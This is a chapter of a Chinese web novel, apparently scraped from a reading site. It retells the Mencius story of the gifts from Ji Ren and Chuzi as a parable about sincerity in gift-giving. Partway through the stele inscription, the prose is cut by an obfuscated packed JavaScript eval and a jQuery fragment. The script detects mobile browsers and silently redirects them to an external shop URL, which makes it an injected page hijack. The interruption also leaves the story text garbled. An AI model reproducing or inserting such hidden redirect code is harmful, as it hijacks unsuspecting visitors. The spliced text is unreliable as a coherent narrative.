默认冷灰
24号文字
方正启体

50. 币享谳

作者:檀垚本书字数:K更新时间:
    楔子不报之疑


    时值列国兵争,邹邑有儒生孟柯,避乱寓居。是年冬,两处礼至:一为任国季任所赠,时季任为任国守臣;一为齐国储子所馈,储子乃齐相。孟柯皆受之,皆不报。


    门人屋庐子窃喜,谓同窗:“吾得隙矣!夫子见季子不见储子,必因储子为相,位高而怠乎?”


    遂问孟柯:“夫子往任国见季子,至齐却不见储子,可是因储子为相,仪节不周?”


    孟柯摇首:“非也。《书经》有云:‘享献贵在礼仪,若仪不及物,便是不享,因其心不在此。’储子之馈,不成享礼。”


    屋庐子恍然,悦而退。有客问故,屋庐子道:“季子守任,不能亲来邹;储子相齐,可至平陆而未至。此仪不及物也。”


    客不解,屋庐子亦难尽述。是夜,有白衣人影现于庭中,斗笠面纱,木剑负背,手执两封束帖,轻笑:


    “季任守任不之邹,


    储子相齐可至陆。


    享礼岂在币帛厚,


    但看诚心足不足。”


    一、 束帖之辨


    屋庐子惊起揖问,白衣人示以束帖:“此二帖,一为季子笔,一为储子书,子可辨高下?”


    屋庐子观之,季子帖曰:“任国边守季任,遥拜孟夫子。道阻兵凶,不克亲谒,谨奉薄币,惟祈康吉。他日若得履邹,当执弟子礼。”字迹朴拙,有刀兵气。


    储子帖曰:“齐相储子致孟先生:闻先生贤,赠币交欢。他日过齐,可来相见。”字迹工丽,然寥寥数语。


    屋庐子疑:“季子帖恭,储子帖傲。然馈币相当,夫子何以别之?”


    白衣人问:“子见猎户献鹿与贵人赐帛,孰诚?”


    “猎户献鹿,是敬贤;贵人赐帛,是施恩。”


    “然也。”白衣人颔首,“季子守任,职责在身,不能离境,是‘不得之邹’。然束帖情深,如面谒。储子为相,齐都至平陆,不过数日路程,是‘得之平陆而未至’。此所谓‘仪不及物’——物(币帛)至而仪(诚心)不至,便是不成享礼。”


    屋庐子恍然:“是故夫子往任见季子,是报其诚;不见储子,是责其慢。”


    “非责,是明礼。”白衣人正色,“今乱世,多有人以币帛交结,自谓礼贤。然礼在诚,不在币。夫子不受虚礼,正是立范。”


    言未已,有客至,乃纵横家公孙衍,闻孟柯受币不报,特来讥讽。闻二人言,嗤道:“孟轲迂哉!季任、储子皆馈币,何分彼此?得馈是实,见与不见是虚。何不虚与委蛇,广结善缘?”


    白衣人转视公孙衍:“先生以为,猎户赠鹿与贵人赐帛,可同日语乎?”


    “皆为肉耳!”


    “差矣。”白衣人取桌上茶盏,“此盏,我敬君饮,是礼;我掷地,令君自拾,亦是予盏。可同乎?”


    公孙衍语塞。白衣人续道:“季子是‘敬赠’,储子是‘赐交’。一字之别,千里之遥。夫子明察秋毫,正是圣贤处。若如先生言,来者不拒,是自堕为货,待价而沽矣。”


    公孙衍面红而去。屋庐子拜服:“听先生一席,胜读十年礼经。”


    二、 三享之验


    越明日,有三人携礼来谒孟柯。一为鲁商,赠金百镒;一为邹邑乡老,赠腊肉一束;一为邻童,赠野菊数枝。


    孟柯见鲁商,辞金不受;见乡老,受肉而谢;见邻童,受菊插瓶,抚童首嘉许。


    屋庐子又不解。白衣人问:“子观三人,孰诚?”


    屋庐子思忖:“鲁商赠最厚,然目有求色;乡老赠虽薄,情意殷切;邻童纯真,菊是亲采。”


    “是矣。”白衣人道,“此即‘享多仪,仪不及物曰不享’。鲁商赠厚仪薄,是‘不役志于享’;乡老赠薄仪厚,是诚享;邻童无仪有真,是至享。夫子分别待之,正是教礼。”


    时孟柯召屋庐子,问:“汝明三赠之别乎?”


    屋庐子谨答:“鲁商以利交,乡老以情交,邻童以真交。”


    孟柯莞尔:“然。礼者,心之文也。文胜质则史,质胜文则野。鲁商文胜,邻童质胜,乡老文质彬彬。我受乡老之肉,是报其文质;受邻童之菊,是护其天真;辞鲁商之金,是戒其文胜。”


    屋庐子大悟。白衣人在侧,拊掌道:“夫子此判,可为天下式。”


    未几,有季任使者至,再奉束帖,言:“守臣季任,蒙夫子不弃,亲临赐教。今任地有贤士三人,慕夫子德,愿附函荐之。”附三名刺,皆布衣之士。


    又有储子使者至,亦奉束帖:“相国储子,闻夫子过齐不见,甚憾。特再赠玉璧一双,望夫子笑纳。”


    孟柯展季任帖,见字字恳切,荐士皆详其品行,叹:“季子诚人也。”欣然回书。


    观储子帖,但见礼单,无一字问学,默然置之。使者催问,孟柯道:“请回禀相国:孟轲非贾人,不受无名之赐。”


    屋庐子问:“季子亦赠,何别?”


    孟柯曰:“季子赠而荐贤,是重道;储子赠而炫富,是轻士。享礼在心,岂在币乎?”


    白衣人闻之,对屋庐子道:“此即‘不得之邹’与‘得之平陆’之别。季子不能亲至,然以荐贤代躬,是仪胜物;储子可至而不至,以币代诚,是物胜仪。夫子明察,正在此微芒间。”


    三、 享礼之教


    事传邹邑,有富绅效储子,具厚礼往赠名士,皆遭拒。绅怒,诘孟柯:“先生拒储子,是教人轻礼乎?”


    时孟柯游于郊,白衣人代答:“非拒礼,是重礼。礼者,自卑而尊人。今君赠礼,是尊人乎?是炫富乎?”


    绅不服。白衣人指田间老农:“此老,昨日赠夫子瓜一枚,夫子受而谢。君赠千金,夫子却之。何也?”


    “瓜贱金贵!”


    “谬矣。”白衣人摇头,“老农赠瓜,是‘享’;君赠金,是‘市’。享者,以诚相敬;市者,以利相易。夫子不受市,是守礼之洁。”


    绅语塞。白衣人又引至学舍,见童子互赠竹马、泥人。问:“此是礼否?”


    “童戏耳,何礼之有?”


    “此是真礼。”白衣人正色,“无求无饰,纯然相悦,是礼之本。君赠金,可有此纯心?”


    绅惭而退。孟柯闻之,谓门人:“白衣客深得礼意。汝等当记:享礼不在物厚,在诚至;交际不在利交,在义合。季子以诚,故我见之;储子以利,故我不见。此非傲,是谨。”


    屋庐子问:“然则世途交际,何以别诚利?”


    孟柯曰:“观其志。志在道者,礼薄亦诚;志在利者,礼厚亦伪。季子守任而荐贤,志在道;储子为相而炫富,志在利。岂难辨耶?”


    是夜,白衣人辞行。屋庐子问:“先生何以教我辈?”


    白衣人指天上月:“月照万物,不分贵贱。然浊水映月则昏,清水映月则明。礼如月,心如水。心诚则礼明,心利则礼浊。但修诚心,自能辨浊清。”


    言罢,踏月而去,吟哦声袅袅:


    “季任守任币交深,


    储子相齐礼数沉。


    享多仪重物难及,


    一片诚心胜万金。


    不见非为傲卿相,


    相见正是重儒襟。


    寄语世间交结者,


    莫将币帛换知音。”


    四、 享碑之立


    后数岁,孟柯道彰,从者日众。屋庐子为纪“币享之辨”,于邹邑立“享礼碑”,刻孟子受币事。碑阴镌“享礼三鉴”:


    “一鉴:物不及仪,是谓不享。


    赠厚而心薄,不如勿赠。


    二鉴:仪不及物,是谓虚享。


    礼繁而意浅,不如简诚。


    三鉴:心物相称,是谓真享。


    片诚抵万金,一语重九鼎。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088202|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    季子守任不之邹,


    储子得至未亲临。


    千古享礼分明在,


    莫将诚心等浮沉。”


    碑成,有游士过而哂:“孟轲矫情!受人之礼,何必厚此薄彼?”


    适有乡童采野果奉母,过碑下,闻之仰首:“先生,我若赠你果,你喜否?”


    游士随口:“喜。”


    “若我夺人果赠你,你喜否?”


    游士怔然。童曰:“季子之赠,如我采果;储子之赠,如夺人果。虽皆果,可同乎?”


    游士大惭,揖童而去。时人传为佳话。


    后逢战乱,邹邑遭兵燹,碑仆。乱平,乡人重修,见碑底有字,乃当年白衣人所题:


    “礼者,心之镜也。


    照人肝胆,洞悉伪真。


    季子之诚,储子之慢,


    千年以下,犹在镜中。


    愿后来者,


    赠人勿吝诚,


    受礼须察心。


    诚至则物轻,


    心伪则礼重。


    慎之,慎之!”


    众乃知白衣人非凡,奉碑如圭臬。自此邹邑风俗,赠必以诚,受必以义。有客赠千金而意傲,童子亦拒之。


    尾声享礼余韵


    百年后,有使臣过邹,见“享礼碑”,问典故。乡老述孟柯、季任、储子事。使臣叹:“今世交际,但重币帛,不问诚伪。此碑当立朝堂!”


    归国后,仿立“交谊碑”于驿馆。然效者寥寥,多笑其迂。


    一夕,有白衣人影现驿馆,抚碑叹:


    “季子储子俱尘埃,


    享礼真伪碑上载。


    世人但羡千金赠,


    谁解诚心片字来?


    礼失非为玉帛薄,


    交疏皆因利欲薆。


    愿得清风洗尘眼,


    莫将市井作兰台。”


    叹罢,挥剑于碑侧刻:


    “赠者无心莫赠金,


    受者有义可受针。


    千古交游唯一字,


    诚。”


    刻毕,掷剑长啸,踏月而去。馆外古柏,飒飒如涛。


    似在说:


    诚啊,伪啊。


    碑上分明。


    本章诫世


    一、 享礼在诚


    - 享多仪,仪不及物曰不享,惟不役志于享


    - 破解法:受人礼,当察其诚;赠人礼,当尽己诚


    - 示例:季任守任不能至,而诚在帖中;储子可至而不至,是仪不及物


    二、 得至之别


    - 季子不得之邹,储子得之平陆,此诚伪之关键


    - 惕世:多少“礼到人不到”是轻慢?多少“人未到礼到”是无奈?


    - 反思:交际往来,是“不得”而诚,还是“得而不为”?


    三、 心物之衡


    - 礼在心物之间,心重物轻是真享,物重心轻是虚礼


    - 深层隐喻:一切人情往来,皆映心镜


    - 终极指向:诚为礼魂,无诚不礼


    享礼偈:


    兵乱年间邹邑中,季任储子币交同。


    一诚一伪分明辨,孟轲不见与见公。


    享礼岂在玉帛厚,交情只向寸心通。


    至今碑文风雨蚀,犹说诚心古今崇。


    后世叹:


    孟轲居邹避兵凶,季任储子币交重。


    受而不报见有别,屋庐问故得启蒙。


    享多仪不及物是虚,诚至物轻乃为恭。


    寄语世间赠受者,莫将礼数等常庸。


    正是:


    季任守任币交深,储子相齐礼数沉。


    享多仪重物难及,诚至心真义可钦。


    不见非为傲卿相,相见正是重儒襟。


    千古交游贵在诚,莫将币帛论浅深。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)